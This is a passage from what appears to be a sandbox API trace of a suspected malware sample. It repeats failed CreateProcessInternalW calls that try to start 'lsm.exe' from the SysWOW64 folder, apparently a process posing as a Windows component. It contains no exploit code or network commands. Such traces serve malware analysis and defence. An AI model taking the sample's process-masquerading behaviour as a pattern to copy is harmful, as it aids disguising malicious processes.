dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.353] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, 